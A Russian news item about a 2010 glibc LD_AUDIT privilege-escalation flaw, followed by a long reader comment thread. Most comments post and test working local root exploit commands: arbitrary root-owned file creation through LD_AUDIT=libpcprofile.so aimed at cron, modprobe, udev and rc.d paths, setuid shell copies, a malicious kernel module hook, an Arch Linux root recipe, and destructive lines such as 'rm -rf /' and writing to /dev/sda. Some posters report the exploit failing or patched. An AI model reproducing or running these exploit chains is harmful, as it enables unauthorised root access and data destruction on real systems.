Спустя несколько дней после обнаружения в системной библиотеке GNU C Library (glibc) уязвимости (http://www.opennet.me/opennews/art.shtml?num=28338), сообщается (http://seclists.org/fulldisclosure/2010/Oct/344) о нахождении еще одного метода взлома, позволяющего выполнить код с привилегиями суперпользователя. В отличие от ранее представленной техники, новый метод эксплуатации проявляется не только в RHEL, Fedora и CentOS, но и в Debian/Ubuntu и других Linux-дистрибутивах, использующих glibc 2.4 или более позднюю версию. Отдельно собщается (http://www.openwall.com/lists/announce/2010/10/22/1), что проблеме не подвержена glibc из состава OpenWall (http://www.openwall.com/) и ALT Linux, так как в данных дистрибутивах изначально по умолчанию использован повышающий безопасность патч "sanitize-env".
По своей сути новая уязвимость основана на том же принципе и базируется на отсутствии должных проверок при динамическом связывании в режиме LD_AUDIT библиотек с исполняемыми файлами, для кото...URL: http://seclists.org/fulldisclosure/2010/Oct/344
Новость: http://www.opennet.me/opennews/art.shtml?num=28390
> ALTYes! У разработчиков прямые руки, да и сам дистрибутив хороший.
Это всё Дима Левин (ldv@).
>> ALT
> Yes! У разработчиков прямые руки, да и сам дистрибутив хороший.Если у них прямые руки, то почему их Simple Linux при установке зависает наглухо на этапе копирования файлов и, естественно, не ставится вообще? Сам пробовал, и знакомые то же самое говорят. Увы.
В Генте не пашет. Только что проверилimpressed@satan ~ $ LD_AUDIT="libprocfile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping
ERROR: ld.so: object 'libprocfile.so' cannot be loaded as audit interface: cannot open shared object file; ignored.
Usage: ping [-LRUbdfnqrvVaAD] [-c count] [-i interval] [-w deadline]
[-p pattern] [-s packetsize] [-t ttl] [-I interface]
[-M pmtudisc-hint] [-m mark] [-S sndbuf]
[-T tstamp-options] [-Q tos] [hop1 ...] destination
impressed@satan ~ $ ls -al /etc/cron.d
cron.d/ cron.daily/ cron.deny
impressed@satan ~ $ ls -al /etc/cron.d/
итого 16
drwxr-xr-x 2 root root 4096 Апр 11 2010 .
drwxr-xr-x 122 root root 12288 Окт 23 12:21 ..
-rw-r--r-- 1 root root 0 Апр 11 2010 .keep_sys-process_vixie-cron-0
impressed@satan ~ $ LD_AUDIT="libprocfile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping
ERROR: ld.so: object 'libprocfile.so' cannot be loaded as audit interface: cannot open shared object file; ignored.
Usage: ping [-LRUbdfnqrvVaAD] [-c count] [-i interval] [-w deadline]
[-p pattern] [-s packetsize] [-t ttl] [-I interface]
[-M pmtudisc-hint] [-m mark] [-S sndbuf]
[-T tstamp-options] [-Q tos] [hop1 ...] destination
impressed@satan ~ $ ls -al /etc/cron.d/
итого 16
drwxr-xr-x 2 root root 4096 Апр 11 2010 .
drwxr-xr-x 122 root root 12288 Окт 23 12:21 ..
-rw-r--r-- 1 root root 0 Апр 11 2010 .keep_sys-process_vixie-cron-0Очередной высосанный из пальца баг
А версия glibc какая?
> А версия glibc какая?impressed@satan ~ $ /lib/libc-2.12.1.so
GNU C Library stable release version 2.12.1, by Roland McGrath et al.
Copyright (C) 2010 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 4.4.3.
Compiled on a Linux 2.6.30 system on 2010-08-20.
Available extensions:
C stubs add-on version 2.1.2
crypt add-on version 2.1 by Michael Glad and others
Gentoo patchset 2
GNU Libidn by Simon Josefsson
Native POSIX Threads Library by Ulrich Drepper et al
BIND-8.2.3-T5B
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<http://www.gnu.org/software/libc/bugs.html>. &...
impressed@satan ~ $
>libc-2.12.1
>новый метод эксплуатации проявляется не только в RHEL, Fedora и CentOS, но и в Debian/Ubuntu и других Linux-дистрибутивах, использующих glibc 2.4 или более позднюю версию
Версия 2.12 новее версии 2.4. Легко запутаться. Да я и сам запутался...
Что-то мне подсказывает, что 2.12 более поздняя, чем 2.4.
Gentoo, libc-2.11.2, работает.
gentoo, glibc 2.10.1-r1bazil@k4 ~ $ ls -l /tmp/exploit
-rwsr-xr-x 1 root root 880920 Oct 23 11:45 /tmp/exploit
bazil@k4 ~ $ /tmp/exploit
exploit-4.0$ whoami
bazil
exploit-4.0$вот так.
> вот так.Шелл сбрасывает привилегии, если uid не равен euid. /tmp/exploit -p в помощь. И неужели вас не смущает setuid-экзешник в /tmp и файл кронтаба в /etc/cron.d? Добавьте в /etc/cron.d/exploit rm -Rf / и кусайте локти.
В генте не работает ;)
x201 ~ # /lib64/libc-2.12.1.so
GNU C Library stable release version 2.12.1, by Roland McGrath et al.
Copyright (C) 2010 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 4.4.4.
Compiled on a Linux 2.6.35 system on 2010-09-20.
Available extensions:
C stubs add-on version 2.1.2
crypt add-on version 2.1 by Michael Glad and others
Gentoo patchset 3
GNU Libidn by Simon Josefsson
Native POSIX Threads Library by Ulrich Drepper et al
BIND-8.2.3-T5B
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<http://www.gnu.org/software/libc/bugs.html>.alexxy@x201 ~ $ LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping
ERROR: ld.so: object 'libpcprofile.so' cannot be loaded as audit interface: undefined symbol: la_version; ignored.
Usage: ping [-LRUbdfnqrvVaAD] [-c count] [-i interval] [-w deadline]
[-p pattern] [-s packetsize] [-t ttl] [-I interface]
[-M pmtudisc-hint] [-m mark] [-S sndbuf]
[-T tstamp-options] [-Q tos] [hop1 ...] destination
alexxy@x201 ~ $ ls -l /etc/cron.d/exploit
-rw-r--r-- 1 root alexxy 4 Окт 23 17:01 /etc/cron.d/exploitТак что файл то оно создало... Но записать в него может тока рут ;)
а дальше играйте лесом как хотите
umask 0 забыл
Ну с umask 0 /* который я действительно забыл */
файл становится rw rw rw но это сути не меняет так как у меня vixie-cron и он всё равно не выполнится. к тому же у меня все разделы что не должны содержать исполняемых файлов девайсов суид и тп смонтированы с соответствующими флагами =) так что 90% локальных уязвимостей идут лесом
> у меня vixie-cron и он всё равно не выполнится.А знаете, если я могу записать в любой файл в ОС - я определенно там сделаю что угодно :)
> к тому же у меня все разделы что не должны содержать исполняемых файлов
> девайсов суид и тп смонтированы с соответствующими флагами =) так что
> 90% локальных уязвимостей идут лесомА это не принципиально. Если можно писать вам в /etc и т.п. файлы - можно сделать с системой все что угодно. Прописавшись в стартовые скрипты, конфиг крона, etc, etc. Возможностей масса. В общем случае если кто поимел привилегированный доступ к ФС - это уже опаньки.
Это то понятно ;) если есть возможность записи в произвольные места то напакостить мона много чего. Но в данном конкретном случае shell вы не получите ;)
> Это то понятно ;) если есть возможность записи в произвольные места то
> напакостить мона много чего. Но в данном конкретном случае shell вы
> не получите ;)Не в данном случае, а данным способом. В разного рода смелых заявлениях вы не одиноки. :) Например:
<taviso> "I should also mention that in your latest advisory, you said that the umask was inherited. That does not seem to be true on RHEL/CentOS.
<taviso> "
<taviso> wtf
<d-b> comes with paranoia included
<drosenbe> wait, what?
<taviso> i do not have time to teach these noobs basic UNIX
<taviso> after sending me three emails demanding i look at his srpm
<d-b> taviso: you are truely awesome
<tronyx> taviso: lovely
<taviso> d-b: uhh, thanks :-.
<taviso> sorry, was a bit out of context, he was very demanding and rude..then made this statement hehe
<taviso> :)
<taviso> just needed to vent :)
<spender> haha
<spender> tavis
<jono> just tell him he's correct and doesnt need to patch;)
<taviso> i do not have time to teach these noobs basic UNIX
<taviso> after sending me three emails demanding i look at his srpm...вспомнился гениальный ext4_own by spender.
У тебя просто не установлен glibc-utils
Исправь libprocfile.so на libpcprofile.so и все заработает, сам использую gentoo и в этот раз не поленился докопаться до сути полностью, предыдущий вариант получения root через glibc у меня не получился.
Да, не долго радовался:
Oct 23 14:30:01 gentoo-book cron[5251]: (root) CMD (test -x /usr/sbin/run-crons && /usr/sbin/run-crons )
Oct 23 14:31:01 gentoo-book cron[4327]: (*system*) BAD FILE MODE (/etc/cron.d/exploit)
> Да, не долго радовался:
> Oct 23 14:30:01 gentoo-book cron[5251]: (root) CMD (test -x /usr/sbin/run-crons && /usr/sbin/run-crons
> )
> Oct 23 14:31:01 gentoo-book cron[4327]: (*system*) BAD FILE MODE (/etc/cron.d/exploit)Например, вместо /etc/cron.d/exploit создайте /etc/logrotate.d/exploit или /etc/shadow, главное файл создается, а остальное уже от фантазии зависит.
> drwxr-xr-x 122 root root 12288 Окт 23 12:21 ..А чёй-то у тя директория имеет время более позднее чем созданное тут сообщение?
Есть такое понятие - часовой пояс. И их много.
Что-то у меня как-то ни чего не появляется в /etc/cron.d
> Что-то у меня как-то ни чего не появляется в /etc/cron.dЭто proof of concept, и если он не работает, это говорит о непригодности эксплойта, но не гарантирует отсутствие уязвимости.
У меня в дженту с последними апдейтами работает
> У меня в дженту с последними апдейтами работаетУ меня не работает.
Версия 2.12.1 с patchset 2
> У меня в дженту с последними апдейтами работаетАпдейты не последние (неосновной дистрибутив) - не работает.
у меня арч с glibc 2.12.1 и пример не работаетСначало я ра надостях начал исполнять команды в консоле, и всё прошло успешно.
но потом заметил что это у меня рутовая консоль... :-[
libc-2.12.1.so:[test@myhost ~]$ uname -a
Linux myhost 2.6.35-ARCH #1 SMP PREEMPT Wed Sep 29 07:17:20 UTC 2010 i686 Intel(R) Core(TM)2 Duo CPU T5750 @ 2.00GHz GenuineIntel GNU/Linux
[test@myhost ~]$ LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping
ERROR: ld.so: object 'libpcprofile.so' cannot be loaded as audit interface: undefined symbol: la_version; ignored.
Usage: ping [-LRUbdfnqrvVaAD] [-c count] [-i interval] [-w deadline]
[-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
[-M mtu discovery hint] [-m mark] [-S sndbuf]
[ -T timestamp option ] [ -Q tos ] [hop1 ...] destination
[test@myhost ~]$ ls /etc/cron.d
exploit
centos-5.5 давно не обновляемая 64битная версия
не работает
В Арче работает.% pacman -Qi glibc
Название : glibc
Версия : 2.12.1-2
У меня в Арче файл /etc/cron.d/exploit создаётся с правами -rw-rw-rw-
crond прописан в /etc/rc.conf и запускается при загрузке системы.
$ less /etc/cron.d/exploit
* * * * * root cp /bin/dash /tmp/exploit; chmod u+s /tmp/exploitно вот cron не исполняет то что указано в /etc/cron.d/exploit
$ ls -l /tmp/exploit
ls: невозможно получить доступ к /tmp/exploit: Нет такого файла или каталога
Аналогично
Debian Squeeze with latest updates
нужно +x чтобы исполнялось, но это не важно - дырка же есть...
зачем этому файлу право на исполнение когда в нём просто хранится текстовая строка, которую cron должен прочитать и выполнить действия которые в этой строке указаны.
Патч с заплаткой, работает для glibc-2.12.1 в Gentoo (проверено только с USE=hardened):
http://sourceware.org/cgi-bin/get-raw-msg?listname=libc-hack...
> Патч с заплаткой, работает для glibc-2.12.1 в Gentoo (проверено только с USE=hardened):Пардон, в 2.11.2. :) Другие версии не смотрел.
Fedora 13 update: https://admin.fedoraproject.org/updates/glibc-2.12.1-4
*пошёл ставить selinux*
А вот, кстати, да. Ведь selinux политика на cron (которая включена по дефолту и в редхате, и в федоре) запретит крону обрабатывать файл без контекста system_cron_spool_t.
Т.е. на реальном продакшене на редхате или центоси, где по дурости не выключили selinux, баг работать не будет.
> Т.е. на реальном продакшене на редхате или центоси, где по дурости не
> выключили selinux, баг работать не будет.Вы путаете баг и PoC-эксплойт.
proof of concept достаточно хилый, подумаешь создали файл от рута, один хрен в нормальной системе не заставишь его исполняться, хоть что ты делай
> proof of concept достаточно хилый, подумаешь создали файл от рута, один хрен
> в нормальной системе не заставишь его исполняться, хоть что ты делайно уязвимость в наличии, тут не поспоришь. РЕШЕТО!
имеется возможность создать любой файл в любом месте.
Создали файл в /etc/cron.dПотом благодаря аттрибутам 666, записали такое в него
* * * * * root /tmp/mybackdoor.bin > /dev/null
И через минуту бекдор от рута висит в памяти.
достаточно хилый?
uname -a
Linux ***************** 2.6.36-gentoo #1 SMP PREEMPT Thu Oct 21 20:45:59 MSD 2010 x86_64 AMD Athlon(tm) II X2 215 Processor AuthenticAMD GNU/Linuxeix -I glibc
sys-libs/glibc
Available versions: (2.2)*2.2.5-r10!s 2.5-r4!s **2.5.1!s 2.6.1!s (~)2.7-r2!s 2.8_p20080602-r1!s 2.9_p20081201-r2!s (~)2.9_p20081201-r3!s 2.10.1-r1!s 2.11.2!s (~)2.11.2-r1!s (~)2.12.1-r1!s{tbz2}
{build crosscompile_opts_headers-only debug gd glibc-compat20 glibc-omitfp hardened multilib nls nptl nptlonly profile selinux vanilla}
Installed versions: 2.12.1-r1(2.2)!s{tbz2}(12:06:18 21.09.2010)(multilib nls profile -crosscompile_opts_headers-only -debug -gd -glibc-omitfp -hardened -selinux -vanilla)
Homepage: http://www.gnu.org/software/libc/libc.html
Description: GNU libc6 (also called glibc2) C libraryтам, наверное, ошибка? не /bin/dash, а /bin/bash ?
$ /tmp/exploit
exploit-4.1$не работает, короче :)
Хотя, не... не ошибка* app-shells/dash
Available versions: 0.5.5.1.2 (~)0.5.5.1.7 {libedit static}
Homepage: http://gondor.apana.org.au/~herbert/dash/
Description: DASH is a direct descendant of the NetBSD version of ash (the Almquist SHell) and is POSIX compliantтолько вот он у меня НЕ УСТАНОВЛЕН. Он мне нужен?
Вобщем, уязвимость, вероятно, проявляется в определенных условиях. Не В МОИХ. :)
Зачем тебе линукс, если ты не понимаешь, что делаешь?
Ты маленько не понимаешь того простого факта, что имея в руках запуск кроном твоего скрипта - поставить этот самый недостающий dash - раз плюнуть. Потом имеешь шелл.А ты упираешься: "а зачем мне в системе левый пакет". Да хоть есть пакет, хоть нету - возможность получения рутового шелла не пропадает.
Это действительно пруф-оф-концепт, который можно юзать не только тем способом, который описан в новости, но мы можешь продолжать упираться.
> Ты маленько не понимаешь того простого факта, что имея в руках запуск
> кроном твоего скрипта - поставить этот самый недостающий dash - раз
> плюнуть. Потом имеешь шелл.
> А ты упираешься: "а зачем мне в системе левый пакет". Да хоть
> есть пакет, хоть нету - возможность получения рутового шелла не пропадает.
> Это действительно пруф-оф-концепт, который можно юзать не только тем способом, который
> описан в новости, но мы можешь продолжать упираться.echo "app-shells/dash" >> /etc/portage/package.mask/app-shells
что раньше появилось, яйцо или курица?
>что раньше появилось, яйцо или курица?точно знаю что раньше куриц появились бараны.
по теме:
А можно так.
$ printf "* * * * * root rm /etc/portage/package.mask/app-shells\n" > /etc/cron.d/exploit
или что там надо с файлом /etc/portage/package.mask/app-shells сделать. Делать с ним можно уже что угодно. dash - это только такой шелл. Шелл может быть любым.
>>что раньше появилось, яйцо или курица?
> точно знаю что раньше куриц появились бараны.
> по теме:
> А можно так.
> $ printf "* * * * * root rm /etc/portage/package.mask/app-shells\n" > /etc/cron.d/exploit
> или что там надо с файлом /etc/portage/package.mask/app-shells сделать. Делать с ним можно
> уже что угодно. dash - это только такой шелл. Шелл может
> быть любым.поставил dash
Oct 23 19:43:01 kids cron[2257]: (*system*) BAD FILE MODE (/etc/cron.d/exploit)
все равно не работает!
если с /bin/bash не сработало, с /bin/dash не сработало, почему оно должно сработать с чем-то другим?
При чем тут шелл ?/etc/cron.d/exploit создался ?
Команды выполняет ?
Хорошо.
Сделай
printf "* * * * * root rm /boot/grub/menu.lst\n" > /etc/cron.d/exploit
И перезагрузись, чтоли.
$ cat /proc/mounts | grep boot/dev/sda1 /boot xfs ro,sync,nodev,relatime 0 0
RO видишь... :-P
рутом можно и
mount -o rw,remount /boot
сделать.
Ищщо вопросы ?
> рутом можно и
> mount -o rw,remount /boot
> сделать.Поздно, сначала надо было писать.
> RO видишь... :-PЭээ ты надеешься законопатить доступ в систему "без пяти минут root'у"? Или к чему это? :) Ну разве что у тебя носитель физически readonly :)
>> RO видишь... :-P
> Эээ ты надеешься законопатить доступ в систему "без пяти минут root'у"? Или
> к чему это? :) Ну разве что у тебя носитель физически
> readonly :)Ладно, проехали, поболтали и будя... Да, есть рут - считай п...ц системе.
> $ /tmp/exploit
> exploit-4.1$/tmp/exploit -p
~$ ls -l /etc/cron.d
total 4
-rw-rw-r-- 1 root root 4 2010-10-23 15:35 exploitфайлик-то создаётся.. но толку от него никакого, ибо стоит cronie:
Oct 23 15:36:01 [/usr/sbin/crond] (root) BAD FILE MODE (/etc/cron.d/exploit)
> ~$ ls -l /etc/cron.d
> total 4
> -rw-rw-r-- 1 root root 4 2010-10-23 15:35 exploit
> файлик-то создаётся.. но толку от него никакого, ибо стоит cronie:
> Oct 23 15:36:01 [/usr/sbin/crond] (root) BAD FILE MODE (/etc/cron.d/exploit)аналогично. но у меня vixie-cron:
Oct 23 14:19:01 andrewisakov cron[3520]: (*system*) BAD FILE MODE (/etc/cron.d/exploit)
На /etc/cron.d/exploit должны быть права 644, чтобы cron не ругался.
А 044 нафига?
неа((( файло не создается, в логе крона тишина
+1 та же байда
Linux deceiver 2.6.35-gentoo #31 SMP Sat Sep 18 01:38:57 UTC 2010 x86_64 AMD Athlon(tm) 64 X2 Dual-Core Processor TK-55 AuthenticAMD GNU/Linuxcron[2185]: (*system*) BAD FILE MODE (/etc/cron.d/exploit)
vixie-cron-4.1-r10
# tailf /var/log/messagesOct 23 16:57:01 suse64 /usr/sbin/cron[1577]: (system_u) BAD FILE MODE (/etc/cron.d/exploit)
Упс... :)
дык это ж selinux.отключи и познай безграничное дао
В общем, на funtoo:
1. Права на /etc/cron.d/exploit должны быть 644, иначе vixie-cron его в упор не видит. А создаётся сплойт с 666.2. Поправил права сам, cron отработал (/bin/bash в /tmp/exploit):
-rwsr-xr-x 1 root root 893208 Окт 23 17:26 /tmp/exploit3. $ /tmp/exploit
exploit-4.1$
exploit-4.1$ whoami
userНу не работает в funtoo setuid (:
FEATURES="sfperms" по умолчанию
userx@i13 ~ $ umask 0
userx@i13 ~ $ ls /etc/cron.d
cron.d/ cron.daily/ cron.deny
userx@i13 ~ $ LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping
ERROR: ld.so: object 'libpcprofile.so' cannot be loaded as audit interface: undefined symbol: la_version; ignored.
Usage: ping [-LRUbdfnqrvVaAD] [-c count] [-i interval] [-w deadline]
[-p pattern] [-s packetsize] [-t ttl] [-I interface]
[-M pmtudisc-hint] [-m mark] [-S sndbuf]
[-T tstamp-options] [-Q tos] [hop1 ...] destination
userx@i13 ~ $ ls /etc/cron.d -l
итого 4
-rw-rw-rw- 1 root plugdev 4 Окт 23 17:22 exploit
userx@i13 ~ $ printf "* * * * * root cp /bin/dash /tmp/exploit; chmod u+s /tmp/exploit\n" > /etc/cron.d/exploit
userx@i13 ~ $ cat /etc/cron.d/exploit
* * * * * root cp /bin/dash /tmp/exploit; chmod u+s /tmp/exploit
P.S Glibc 2.12.1-r1, Gentoo
А я веселее придумал...
Идем домой,
$ cd ~
Пишем дружественный модульpavel@suse64:~> cat /home/pavel/fake.c
----
#include <linux/version.h>
#include <linux/module.h>int fake_init(void ) {
printk(KERN_DEBUG "FAKE ME\n");
return 0;
}module_init(fake_init);
---pavel@suse64:~> cat ~/Makefile
---
obj-m := fake.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
---pavel@suse64:~> make
make -C /lib/modules/2.6.36+/build M=/home/pavel/ modules
make[1]: Entering directory `/media/kernel/linux-2.6'
CC [M] /home/pavel/fake.o
Building modules, stage 2.
MODPOST 1 modules
CC /home/pavel/fake.mod.o
LD [M] /home/pavel/fake.ko
make[1]: Leaving directory `/media/kernel/linux-2.6'----
Добавляемся в modprobe:pavel@suse64:~> LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/modprobe.d/99-fake.conf" ping
ERROR: ld.so: object 'libpcprofile.so' cannot be loaded as audit interface: undefined symbol: la_version; ignored.
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
[-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
[-M mtu discovery hint] [-S sndbuf]
[ -T timestamp option ] [ -Q tos ] [hop1 ...] destinationpavel@suse64:~> ls /etc/modprobe.d/99-fake.conf
/etc/modprobe.d/99-fake.confНаходим модули которые грузятся автоматом, выбираем любимый и вписываемся:
pavel@suse64:~> printf "install nvidia /sbin/insmod /home/pavel/fake.ko; /sbin/modprobe -i nvidia;\n" > /etc/modprobe.d/99-fake.conf
pavel@suse64:~> cat /etc/modprobe.d/99-fake.confinstall nvidia /sbin/insmod /home/pavel/fake.ko; /sbin/modprobe -i nvidia;
Ребутимся... Но можно чёнить придумать без ребута, например при всовывание блютуз свистка
загрузится какой-нить bt_mod ... в общем по месту....И так, перегрузились...
$ dmesg | grep FAKE
FAKE MEмля....
pavel@suse64:~> lsmod
Module Size Used by
nvidia 10021096 28
fake 719 0 [permanent]
Йопт...
А, например, в /etc/profile.d/boo.sh "rm -rf /" запихнуть не проще будет?
> А, например, в /etc/profile.d/boo.sh "rm -rf /" запихнуть не проще будет?Запихнуть можно, но нужно чтоб его оттуда кто-то вызвал. Причём с правами рута.
В общем, эта дыра хороший тест - "Насколько я хорошо знаю как работает Linux!" :)
При том же рестарте системы он отработает. Или при логине рута.
> При том же рестарте системы он отработает. Или при логине рута.Да не работает оно само! Там наборы переменных и функций башовских,
их надо включать и вызыватьSpeшаl фо you
pavel@suse64:~> cat /etc/profile.d/boo.sh
#!/bin/bash
echo "ЖОПА" > /DJOPA
---
# init 6
...
# ls -pa /
./ boot/ dev/ home/ lib64/ mnt/ proc/ sbin/ srv/ tmp/ var/
../ bin/ etc/ lib/ media/ opt/ root/ sched_fair.patch sys/ usr/Нэту!
У меня отработало.
От юзера при логине ругается на отсутствие прав. При логине рута выполняет всё.
> У меня отработало.
> От юзера при логине ругается на отсутствие прав. При логине рута выполняет
> всё.Какого юзера, какого рута...
man bash на предмет INVOCATION
кстати я тоже думал в /etc/profile засунуть. интересно, а куда еще можно чего засунуть, чтобы получить рута?
> кстати я тоже думал в /etc/profile засунуть.Нельзя
-rw-r--r-- 1 root root 9012 Авг 4 2009 /etc/profile
> интересно, а куда еще можно чего засунуть, чтобы получить рута?
Ну вот и проверь себя.
> кстати я тоже думал в /etc/profile засунуть. интересно, а куда еще можно
> чего засунуть, чтобы получить рута?В UDEV подсунь.
$ lsusb
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 002 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 002 Device 003: ID 0a12:0001 Cambridge Silicon Radio, Ltd Bluetooth Dongle (HCI mode)$ LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/udev/rules.d/45-svistok.rules" ping
$ printf 'SUBSYSTEM!="usb_device", GOTO="end"\n ACTION!="add", GOTO="end"\n ATTRS{idVendor}=="0a12", ATTRS{idProduct}=="0001", RUN+="/tmp/exploit"\n LABEL="end"\n' > /etc/udev/rules.d/45-svistok.rules
$ cat /etc/udev/rules.d/45-svistok.rules
SUBSYSTEM!="usb_device", GOTO="end"
ACTION!="add", GOTO="end"
ATTRS{idVendor}=="0a12", ATTRS{idProduct}=="0001", RUN+="/tmp/exploit"
LABEL="end"
> интересно, а куда еще можно
> чего засунуть, чтобы получить рута?apache+mpm_itk
Для RHEL libmemusage.so входит в совсем необязательный rpm glibc-utils
Хотфикс - деинсталлировать этот пакет ;)
Тут на лоре такой вариант предложили для особо упорствующих:
umask 0 ; LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/dev/sda" ping
для особо одаренных пожалуй надо повторить:
не стоит пакета glibc-utils-> нет libpcprofile.so -> не работает уязвимость -> happy happy
>не стоит пакета glibc-utils-> нет libpcprofile.so -> не работает уязвимость -> happy happyВо-первых, не во всех дистрах glibc и glibc-utils разделены.
Во-вторых, libpcprofile.so — не единственная библиотека, которую можно использовать.
тут ошибка не конкретная, а системная. и этот и предыдущий баг нужно фиксить во избежание. игры с огнем никому не нужны
sys-libs/glibc-2.11.2 не работает
Oct 25 09:18:01 cron[3032]: (*system*) BAD FILE MODE (/etc/cron.d/exploit)
ну и что, что файл создался толку то...
если не получается с помощью cron то есть другие методы, например ниже изложен метод получения прав root для Arch Linux. А вообще суть этой уязвимости в том, что можно создать файлы с правами на запись в них для обычного пользователя, в тех каталогах в которых это делать запрещено.
на Arch Linux я получил консоль с правами root(запустив после рестарта системы из консоли обычного пользователя команду /usr/bin/sdash) использовав эти указания из аналогичной темы на LOR:especially for ArchLinux users:
umask 0
LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/rc.d/functions.d/exploit" ping
echo -e '#!/bin/bash\ncp /bin/dash /usr/bin/sdash\nchmod u+s /usr/bin/sdash' > /etc/rc.d/functions.d/exploit
sudo reboot/usr/bin/sdash -c 'whoami'
/usr/bin/sdash -c 'rm -f /usr/bin/sdash /etc/rc.d/functions.d/exploit'
в генте в нестабильном профиле приехал glibc-2.12.1-r2 сегодня
дыра закрыта